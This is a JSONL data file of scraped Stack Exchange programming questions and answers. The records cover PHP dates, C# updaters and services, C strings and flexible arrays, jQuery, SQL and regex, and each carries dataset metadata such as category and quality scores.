{"id": "hf_1a6989d92e32", "question": "<pre><code>$doba = explode(\"/\", $dob);\n\n$date = date(\"Y-m-d\", mktime(0,0,0, $doba[0], $doba[1], $doba[2]));\n</code></pre>\n\n<p>The above code turns any date i pass through into 1999-11-30 and i know it was working yesterday. Date is correct when I echo $doba. Anyone have any ideas?</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "What is the format of\n```\n$doba\n```\n? Remember\n```\nmktime\n```\n's syntax goes hour, minute, second,\nmonth, day year\nwhich can be confusing.\nHere's some examples:\n```\n```\n$doba = explode('/', '1991/08/03');\necho(date('Y-m-d', mktime(0,0,0, $doba[1], $doba[2], $doba[0]);\n\n$doba = explode('/', '03/08/1991');\necho(date('Y-m-d', mktime(0,0,0, $doba[1], $doba[0], $doba[2]);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.249421"}
{"id": "hf_707f69f770dc", "question": "<p>Any links to a good template for a windows service?  (looking for C# code)</p>\n\n<p>Something that has the basic functionality that I could extend.</p>\n", "question_body": "", "answer": "It is a little clear what you are looking for.  The\nWindows Service\nproject type in Visual Studio creates a project with the templates you need to get going with a basic windows service.\nYou can also look at\nthis article\nfrom C# Online.  It goes over a few ideas and has a few parts to the article.\n(Note; the page seems to loads a little slow so be patient)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.274387"}
{"id": "hf_434461fd26b1", "question": "<p>I haven´t experience in making setup, but I all ready make mine but now I need help because when I made a new version I want that the user double click the shortcut and it do the update if there are any.</p>\n\n<p>The application is in <code>c#</code>.</p>\n\n<p>Could you help?</p>\n", "question_body": "", "answer": "Here's how I have implemented an updater program I wrote earlier.\nFirst off, you grab an ini file off of your server. This file will contain information about the latest version and where the setup file is. Getting that file isn't too hard.\n```\n```\nWebClient wc = new WebClient();\n                wc.DownloadFile(UrlOfIniContainingLatestVersion, PlacetoSaveIniFile);\n```\n```\nI also had it setup to read information from a local ini file to determine the latest version. The better way of doing this would be to read the file version directly, but I don't have the code to do that handy.\nNext we do a very simple check to see how the two versions compare and download the update.\n```\n```\nif (LatestVersion > CurrentVersion)\n            {\n                //Download update.\n            }\n```\n```\nDownloading the update is just as simple as downloading the original ini. You simply change change the two parameters.\n```\n```\nwc.DownloadFile(UrlOfLatestSetupFile, PlaceToSaveSetupFile);\n```\n```\nNow that you have the file downloaded, it's a simple matter of running the installer.\n```\n```\nSystem.Diagnostics.Start(PathOfDownloadedSetupFile);\n```\n```\nIf you're not sure how to read an ini file, I found the following class somewhere over at CodeProject\n```\n```\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Text;\n\nnamespace Ini\n{\n    /// <summary>\n    /// Create a New INI file to store or load data\n    /// </summary>\n    public class IniFile\n    {\n        public string path;\n\n        [DllImport(\"kernel32\")]\n        private static extern long WritePrivateProfileString(string section,\n            string key, string val, string filePath);\n        [DllImport(\"kernel32\")]\n        private static extern int GetPrivateProfileString(string section,\n                 string key, string def, StringBuilder retVal,\n            int size, string filePath);\n\n        /// <summary>\n        /// INIFile Constructor.\n        /// </summary>\n        /// <PARAM name=\"INIPath\"></PARAM>\n        public IniFile(string INIPath)\n        {\n            path = INIPath;\n        }\n\n        /// <summary>\n        /// Write Data to the INI File\n        /// </summary>\n        /// <PARAM name=\"Section\"></PARAM>\n        /// Section name\n        /// <PARAM name=\"Key\"></PARAM>\n        /// Key Name\n        /// <PARAM name=\"Value\"></PARAM>\n        /// Value Name\n        public void IniWriteValue(string Section, string Key, string Value)\n        {\n            WritePrivateProfileString(Section, Key, Value, this.path);\n        }\n\n        /// <summary>\n        /// Read Data Value From the Ini File\n        /// </summary>\n        /// <PARAM name=\"Section\"></PARAM>\n        /// <PARAM name=\"Key\"></PARAM>\n        /// <PARAM name=\"Path\"></PARAM>\n        /// <returns></returns>\n        public string IniReadValue(string Section, string Key)\n        {\n            StringBuilder temp = new StringBuilder(255);\n            int i = GetPrivateProfileString(Section, Key, \"\", temp,\n                                            255, this.path);\n            return temp.ToString();\n\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.299051"}
{"id": "hf_f2dbeb7f42b3", "question": "<p>Is there a .net equivalent to the C++ unexpected()/set_unexpected() functionality?</p>\n\n<hr>\n\n<p><strong>Edit:</strong>  Sorry--I omitted some details previously:</p>\n\n<p>Language: C# 2.0</p>\n\n<p>I have some legacy apps that seem to be throwing some unhandled exception somewhere.  I just want to put something in place to stop the customer's pain until I can trace the actual source of the problem.  In C++, the function pointed at by set_unexpected() gets called, as far as I know, when an otherwise unhandled exception bubbles to the main routine.  Hence my question about a .net equivalent functionality. </p>\n", "question_body": "", "answer": "There 3 possible scenarios for handling unhandled exceptions, based on the type of the application:\nFor windows forms application, hook an event handler to\nApplication.ThreadException\nFor commandline applications, hook an event handler to\nAppDomain.UnhandledException\nFor ASP.NET applications, in Global.asax, create:\nprotected void Application_Error(Object sender, EventArgs e)\nDISCLAIMER: I'm not c++ developer, but from what I read, this should answer your question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.349453"}
{"id": "hf_461a4c1669b4", "question": "<p>Currently there are 2 pages in a jsp file: one of them displays the data and the second one is used for pagination. The task is to include exactly the same paginator table above the data table. Sorry, couldn't resist to draw it :)</p>\n\n<pre><code>|-----------------------------------------|\n|                      Page 2 of 200  &lt; &gt; |\n|-----------------------------------------|\n|-----------------------------------------|\n|   Some weird business data comes here   |\n|-----------------------------------------|\n|-----------------------------------------|\n|                      Page 2 of 200  &lt; &gt; |\n|-----------------------------------------|\n</code></pre>\n\n<p>The question is: how do I do it w/o shameless copypasting?</p>\n", "question_body": "", "answer": "Perhaps you can define the pagination stuff in a separate jsp, and then include it twice into your main jsp.  For example:\n```\n```\n<jsp:include page=\"pagination.jsp\" flush=\"true\" />\n\n<table>...business data...</table>\n\n<jsp:include page=\"pagination.jsp\" flush=\"true\" />\n```\n```\nThis way, if you ever want to change the pagination stuff, you can just edit pagination.jsp.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.386630"}
{"id": "hf_9ba0b689f755", "question": "<p>Is Visual Studio written in .NET Windows Forms? Or is Windows Forms just too slow for a editor type application?</p>\n", "question_body": "", "answer": "Based on my experience with the VS SDK, it looks as if it was built with C++/COM but I think that's just because the Visual Studio team decided to go with that (AND Windows Forms didn't exist as a release version when they were first developing the VS.NET IDE).\nYou can use Windows Forms for an editor type application. I think SharpDevelop is a WinForms app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.416746"}
{"id": "hf_1ee5b41f25cd", "question": "<p>I see these two acronyms being thrown around and I was wondering if there are any differences between a GUID and a UUID?</p>\n", "question_body": "", "answer": "GUID is Microsoft's implementation of the UUID standard.\nPer\nWikipedia\n:\nThe term GUID usually refers to Microsoft's implementation of the\nUniversally Unique Identifier\n(UUID) standard.\nAn updated quote from that same Wikipedia article:\nRFC 4122 itself states that UUIDs \"are also known as GUIDs\". All this suggests that \"GUID\", while originally referring to a variant of UUID used by Microsoft, has become simply an alternative name for UUID…", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.479538"}
{"id": "hf_515a175dd34b", "question": "<p>I recently read that using flexible array members in C was poor software engineering practice. However, that statement was not backed by any argument. Is this an accepted fact?</p>\n\n<p>(<a href=\"https://en.wikipedia.org/wiki/Flexible_array_member\" rel=\"noreferrer\">Flexible array members</a> are a C feature introduced in C99 whereby one can declare the last element to be an array of unspecified size. For example: )</p>\n\n<pre><code>struct header {\n    size_t len;\n    unsigned char data[];\n};\n</code></pre>\n", "question_body": "", "answer": "You meant...\n```\n```\nstruct header\n{\n size_t len;\n unsigned char data[];\n};\n```\n```\nIn C, that's a common idiom. I think many compilers also accept:\n```\n```\nunsigned char data[0];\n```\n```\nYes, it's dangerous, but then again, it's really no more dangerous than normal C arrays  - i.e., VERY dangerous ;-) . Use it with care and only in circumstances where you truly need an array of unknown size. Make sure you malloc and free the memory correctly, using something like:-\n```\n```\nfoo = malloc(sizeof(header) + N * sizeof(data[0]));\n  foo->len = N;\n```\n```\nAn alternative is to make data just be a pointer to the elements. You can then realloc() data to the correct size as required.\n```\n```\nstruct header\n    {\n     size_t len;\n     unsigned char *data;\n    };\n```\n```\nOf course, if you were asking about C++, either of these would be bad practice. Then you'd typically use STL vectors instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.576996"}
{"id": "hf_7f7c18076af8", "question": "<p>What's the most efficient way of getting the value of the SERIAL column after the INSERT statement? I.e. I am looking for a way to replicate <code>@@IDENTITY</code> or <code>SCOPE_IDENTITY</code> functionality of MS SQL</p>\n", "question_body": "", "answer": "I have seen this used.\n```\n```\nif LOCAL_SQLCA^.sqlcode = 0 then\n/* return serial */\n  Result := LOCAL_SQLCA^.sqlerrd[1]\nelse\n/* return error code */\n  Result := -(Abs(LOCAL_SQLCA^.sqlcode));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.613807"}
{"id": "hf_7285533c5f42", "question": "<p>I have a structure like this:</p>\n\n<pre><code>&lt;ul&gt;\n  &lt;li&gt;text1&lt;/li&gt;\n  &lt;li&gt;text2&lt;/li&gt;\n  &lt;li&gt;text3&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>How do I use javascript or jQuery to get the text as an array?</p>\n\n<pre><code>['text1', 'text2', 'text3']\n</code></pre>\n\n<p>My plan after this is to assemble it into a string, probably using <code>.join(', ')</code>, and get it in a format like this:</p>\n\n<pre><code>'\"text1\", \"text2\", \"text3\"'\n</code></pre>\n", "question_body": "", "answer": "```\n```\nvar optionTexts = [];\n$(\"ul li\").each(function() { optionTexts.push($(this).text()) });\n```\n```\n...should do the trick. To get the final output you're looking for,\n```\njoin()\n```\nplus some concatenation will do nicely:\n```\n```\nvar quotedCSV = '\"' + optionTexts.join('\", \"') + '\"';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.662156"}
{"id": "hf_27af2cb5a489", "question": "<p>On Linux, feenableexcept and fedisableexcept can be used to control the generation of SIGFPE interrupts on floating point exceptions.  How can I do this on Mac OS X Intel?</p>\n\n<p>Inline assembly for enabling floating point interrupts is provided in <a href=\"http://developer.apple.com/documentation/Performance/Conceptual/Mac_OSX_Numerics/Mac_OSX_Numerics.pdf\" rel=\"noreferrer\">http://developer.apple.com/documentation/Performance/Conceptual/Mac_OSX_Numerics/Mac_OSX_Numerics.pdf</a>, pp. 7-15, but only for PowerPC assembly.</p>\n", "question_body": "", "answer": "On Mac OS X this is moderately complicated. OS X uses the SSE unit for all FP math by default, not the x87 FP unit. The SSE unit does not honor the interrupt options, so that means that in addition to enabling interrupts, you need to make sure to compile all your code not to use SSE math.\nYou can disable the math by adding \"-mno-sse -mno-sse2 -mno-sse3\" to your CFLAGS. Once you do that you can use some inline assembly to configure your FP exceptions, with basically the same flags as Linux.\n```\n```\nshort fpflags = 0x1332 // Default FP flags, change this however you want. \nasm(\"fnclex\");\nasm(\"fldcw _fpflags\");\n```\n```\nThe one catch you may find is that since OS X is built entirely using sse there may be uncaught bugs. I know there used to be a big with the signal handler not passing back the proper codes, but that was a few years ago, hopefully it is fixed now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.722830"}
{"id": "hf_3c01d3bcf17e", "question": "<p>In C# there is the static property <a href=\"http://msdn.microsoft.com/en-us/library/system.environment.newline.aspx\" rel=\"noreferrer\">Environment.Newline</a> that changed depending on the running platform.</p>\n\n<p>Is there anything similar in Java?</p>\n", "question_body": "", "answer": "As of Java 7 (and Android API level 19):\n```\n```\nSystem.lineSeparator()\n```\n```\nDocumentation:\nJava Platform SE 7\nFor older versions of Java, use:\n```\n```\nSystem.getProperty(\"line.separator\");\n```\n```\nSee\nhttps://java.sun.com/docs/books/tutorial/essential/environment/sysprop.html\nfor other properties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.752514"}
{"id": "hf_b616168ea985", "question": "<p>I'm familiar with the issue behind ORA-01775: looping chain of synonyms, but is there any trick to debugging it, or do I just have to \"create or replace\" my way out of it?  </p>\n\n<p>Is there a way to query the schema or whatever to find out what the current definition of a public synonym is?  </p>\n\n<p>Even more awesome would be a graphical tool, but at this point, anything would be helpful.</p>\n", "question_body": "", "answer": "The data dictionary table\n```\nDBA_SYNONYMS\n```\nhas information about all the synonyms in a database.  So you can run the query\n```\n```\nSELECT table_owner, table_name, db_link\n  FROM dba_synonyms \n WHERE owner        = 'PUBLIC'\n   AND synonym_name = <<synonym name>>\n```\n```\nto see what the public synonym currently points at.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.814063"}
{"id": "hf_def5ec1bc415", "question": "<p>Looking at this loop that copies one c-string to another:</p>\n\n<pre><code>void strcpyr(char *s, char *t)\n{\n    while(*s++=*t++)// Why does this work?\n        ;\n}\n</code></pre>\n\n<p>Why do we not check for the '\\0' character in the while loop, like this?</p>\n\n<pre><code>while((*s++=*r++)!='\\0')..\n</code></pre>\n\n<p>How does the first loop terminate?</p>\n", "question_body": "", "answer": "When we hit the\n```\n'\\0'\n```\nin the string initially pointed to by\n```\nt\n```\n, the\n```\n*s++=*t++\n```\n, which does the assignment, also returns the value that's assigned to the position pointed to by\n```\ns\n```\n, or\n```\n'\\0'\n```\n, which evaluates to\n```\nfalse\n```\nand terminates the loop.\nIn your second example, you explicitly rely on the fact that the assignment returns the assigned character, while the first example implicitly uses this fact (and the fact that the\n```\n0\n```\ncharacter (also written\n```\n'\\0'\n```\n) is considered to be false, while all other characters evaluate to true, so the expression\n```\nc != '\\0'\n```\nwill yield the same result as\n```\nc\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.880708"}
{"id": "hf_34983e81ef23", "question": "<p>I am writing a C# console application that takes a binary file, rips it apart, analyzes it, and stores the data into a database.  </p>\n\n<p>We want to use BizTalk to orchestrate watching when a new binary file is placed in a directory and calling my application with the file name/names to be parsed.  </p>\n\n<p>Can BizTalk run a command line program?<br>\nCan it pass command line parameters to the program?<br>\nHow would I report back to BizTalk that the last run was a success or a failure?  </p>\n\n<p>Thank you,<br>\nKeith</p>\n", "question_body": "", "answer": "Biztalk is a server product so it will always be running in the background when you set it up in a production environment.\nI'd suggest that if you're wanting to use BizTalk you set it up to watch the location where the file will be dropped, rip it apart, analyze it and then write out to the database all within a BizTalk workflow. Its exactly what it's been designed to do. The workflow could also contain notifications or you could just use BizTalk tracking to confirm if the operation has been successful. The only custom code you might need to write is a disassembler for your binary file to turn it into XML. This would be done as a receive pipeline component.\nIf that's all your doing though, BizTalk is a heck of an expensive option for just this. I suggest you write your own Windows service and use the\nFileSystemWatcher\nto intercept the fact that a file has been written and then do the processing in your C# code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.930242"}
{"id": "hf_8cefd15a7c89", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/153152/resizing-an-iframe-based-on-content\">Resizing an iframe based on content</a>  </p>\n</blockquote>\n\n\n\n<p>I'm loading an iFrame and want the parent to automatically change the height based upon the height of the iFrame's content.</p>\n\n<p>To simply things, all pages belong to the same domain, so I shouldn't run into cross-site scripting issues.</p>\n", "question_body": "", "answer": "On any other element, I would use the\n```\nscrollHeight\n```\nof the DOM object and set the height accordingly. I don't know if this would work on an iframe (because they're a bit kooky about everything) but it's certainly worth a try.\nEdit: Having had a look around, the popular consensus is setting the height from within the iframe using the\n```\noffsetHeight\n```\n:\n```\n```\nfunction setHeight() {\n    parent.document.getElementById('the-iframe-id').style.height = document['body'].offsetHeight + 'px';\n}\n```\n```\nAnd attach that to run with the iframe-body's\n```\nonLoad\n```\nevent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.967512"}
{"id": "hf_3483e54894dd", "question": "<p>I use <a href=\"http://xpath.alephzarro.com/\" rel=\"noreferrer\">XPather Browser</a> to check my XPATH expressions on an HTML page.</p>\n\n<p>My end goal is to use these expressions in Selenium for the testing of my user interfaces.</p>\n\n<p>I got an HTML file with a content similar to this:</p>\n\n<pre>\n&lt;tr&gt;\n  &lt;td&gt;abc&lt;/td&gt;\n  &lt;td&gt;&amp;nbsp;&lt;/td&gt;\n&lt;/tr&gt;\n</pre>\n\n<p>I want to select a node with a text containing the string \"<code>&amp;nbsp;</code>\".</p>\n\n<p>With a normal string like \"abc\" there is no problem.  I use an XPATH similar to <code>//td[text()=\"abc\"]</code>.</p>\n\n<p>When I try with an an XPATH like <code>//td[text()=\"&amp;nbsp;\"]</code> it returns nothing.  Is there a special rule concerning texts with \"<code>&amp;</code>\" ?</p>\n", "question_body": "", "answer": "Search for\n```\n&nbsp;\n```\nor only\n```\nnbsp\n```\n- did you try this?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.992939"}
{"id": "hf_f1e73f0447d3", "question": "<p>I have an app that is failing on the install. The vendor says I probably have ini_set() disabled. How can I check this?</p>\n", "question_body": "", "answer": "You might want to take a look at the CHANGEABLE directives in php.ini:\nhttp://us3.php.net/manual/en/ini.php#ini.list\nIn regard to verify whether an ini_set function worked, you can check the return value to make certain that it worked:\nhttp://us3.php.net/manual/en/function.ini-set.php\nThe code would look something like this:\n```\n```\n<?php\n     if(ini_set('error_reporting', 'ALL') === false)\n     {\n         // Perform failure handling logic\n     }\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.053817"}
{"id": "hf_157b677d77fb", "question": "<p>I'm having a disagreement with someone over how best to implement a simple method that takes an array of integers, and returns the highest integer (using C# 2.0).</p>\n\n<p>Below are the two implementations - I have my own opinion of which is better, and why, but I'd appreciate any impartial opinions.</p>\n\n<p><strong>Option A</strong></p>\n\n<pre><code>public int GetLargestValue(int[] values)\n{\n   try  {\n          Array.Sort(values);\n          return values[values.Length - 1];\n        }\n   catch (Exception){ return -1;}\n}\n</code></pre>\n\n<p><strong>Option B</strong></p>\n\n<pre><code>public int GetLargestValue(int[] values)\n{\n    if(values == null)\n        return -1;\n\n    if(values.Length &lt; 1)\n        return -1;\n\n    int highestValue = values[0];\n\n    foreach(int value in values)\n        if(value &gt; highestValue)\n            highestValue = value;\n\n    return highestValue;\n}\n</code></pre>\n", "question_body": "", "answer": "I prefer\nOption B\nas it only traverses the collection exactly once.\nIn\nOption A\n, you may have to access many elements more than once (the number of times is dependant upon the implementation of the sort alogrithm).\nThe\nOption A\nis an inefficent implementation, but results in a fairly clear algorithm.  It does however use a fairly ugly Exception catch which would only ever be triggered if an empty array is passed in (so could probably be written clearer with a pre-sort check).\nPS, you should never simply catch \"Exception\" and then correct things.  There are many types of Exceptions and generally you should catch each possible one and handle accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.078618"}
{"id": "hf_8e04281a046d", "question": "<p>How can I transform a <code>String</code> value into an <code>InputStreamReader</code>?</p>\n", "question_body": "", "answer": "Does it have to be specifically an InputStreamReader?  How about using\nStringReader\n?\nOtherwise, you could use\nStringBufferInputStream\n, but it's deprecated because of character conversion issues (which is why you should prefer StringReader).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.103829"}
{"id": "hf_38dbfb213052", "question": "<p>Looking for a bit of regex help.\nI'd like to design an expression that matches a string with \"<em>foo</em>\" OR \"<em>bar</em>\", but not both \"<em>foo</em>\" AND \"<em>bar</em>\"</p>\n\n<p>If I do something like...</p>\n\n<pre><code>/((foo)|(bar))/\n</code></pre>\n\n<p>It'll match \"<em>foobar</em>\". Not what I'm looking for. So, how can I make regex match only when one term or the other is present?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You can do this with a single regex but I suggest for the sake of readability you do something like...\n```\n```\n(/foo/ and not /bar/) || (/bar/ and not /foo/)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.128346"}
{"id": "hf_b8f6a0f0042d", "question": "<p>I was under the impression that I could run it on any machine, but a guy from our hosting company is saying that the csr has to be generated on the server hosting the site.</p>\n\n<p>Can anyone clear this one up for me?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "The bottom line is you do not need to generate CSRs on the server hosting an SSL certificate. A CSR is a CSR and you could actually generate it using something like OpenSSL and then import both the key and certificate once it is created into the keystore. The problem is that they probably don't understand now to get the key into the keychain. See if this\nKeyTool and OpenSSL tips\nhelps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.201672"}
{"id": "hf_38fa8e4ef788", "question": "<p>How can I run a stored procedure from a CL program? RUNSQLSTM requires a source member, but I just want to build a command so users can pass in variables easily, so this won't work.</p>\n", "question_body": "", "answer": "There may be 2 options:\nIn the CL program create a temporary source member. Construct the SQL statement with the supplied parameters to execute the stored procedure and write this source code to the temporary member. Then add a call to RUNSQLSTM with the generated member as parameter.\nA second option is not to create a CL program but use RPG/COBOL. By using embedded SQL the stored procedure can be executed with the parameters. Their values should be passed from the command to the program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.225075"}
{"id": "hf_0095e1265535", "question": "<p>I am admin on a forum.\nEarlier we had phpbb 2.0 and i made a bot that could write to the forum.\nNow, we have upgraded the forum to phpbb 3.0, but i can't get my bot to write to the forum anymore.</p>\n\n<p>I have looked for a solution, but now i am out of ideas. \nSo it would have been great if anyone have a suggestion.</p>\n\n<p>i have btw used CURL and php to make this bot.</p>\n\n<p>Usage of bot:\nUsers log in on an external website to report results of footballmatches they have played online. The bot will then automatically write a post to the forum.</p>\n\n<p>So basically i need to know what $_POST[] i need to send.</p>\n", "question_body": "", "answer": "I would advise looking at the source code of the 'add post' form on the site. Check the HTML; you will need to emulate each\n```\ninput\n```\nor\n```\nselect\n```\nelement, as these are the POST values that are submitted via the form.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.310521"}
{"id": "hf_23663b7b088c", "question": "<p>I have a form I am submitting using jQuery's ajaxSubmit function from the Forms plugin. I'm trying to add a form name/value pair to the form data just before submission occurs. My plan is to modify the form data in the beforeSubmit event handler.</p>\n\n<p>Given a function that looks like:</p>\n\n<pre><code>function handleActionFormBeforeSubmit(formData, form, options) {\n    // Add a name/value pair here somehow to formData\n}\n</code></pre>\n\n<p>How do I add a simple pair to formData? It is an array in the form of:</p>\n\n<pre><code>[ { name: 'username', value: 'jresig' }, { name: 'password', value: 'secret' } ]\n</code></pre>\n\n<p>Thanks,\nBrian</p>\n", "question_body": "", "answer": "After an hour of experimentation, I figured out a solution. To append a value to the form data, the following code will work.\n```\n```\nfunction handleActionFormBeforeSubmit(formData, form, options) {\n\n    // Add a name/value pair indicating this is an asynchronous call.\n    // This works with the ASP.NET MVC framework's Request.IsMvcAjaxRequest() method.\n    formData[formData.length] = { \"name\": \"__MVCASYNCPOST\", \"value\": \"true\" };\n}\n```\n```\nYou can also modify the data if you know the index of the value you want to change such as:\n```\n```\nformData[0].value = 'new value';\n```\n```\nI hope this helps someone else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.346270"}
{"id": "hf_1fa170de4e6c", "question": "<p>Besides the syntactic sugar and expressiveness power what are the differences in runtime efficiency. I mean, plpgsql can be faster than, lets say plpythonu or pljava? Or are they all approximately equals?</p>\n\n<p>We are using stored procedures for the task of detecting nearly-duplicates records of people in a moderately sized database (around 10M of records)</p>\n", "question_body": "", "answer": "plpgsql provides greater type safety I believe, you have to perform explicit casts if you want to perform operations using two different columns of similar type, like varchar and text or int4 and int8. This is important because if you need to have your stored proc use indexes, postgres requires that the types match exactly between join conditions (edit: for equality checks too I think).\nThere may be a facility for this in the other languages though, I haven't used them. In any case, I hope this gives you a better starting point for your investigation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.382649"}
{"id": "hf_c1de0f1662c3", "question": "<p>I am using the jQuery tableSorter plugin on a page.</p>\n\n<p>Unfortunatley, the table that is being sorted is dynamically modified, and when I sort after adding an element, the  element disappears, restoring the table to the state that it was in when the tableSorter was created.</p>\n\n<p>Is there any way that i can force tableSorter to rescan the page so that these new elements are sorted properly?</p>\n", "question_body": "", "answer": "I believe you can trigger an update using something like:\n```\n```\n$(table).trigger(\"update\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.419327"}
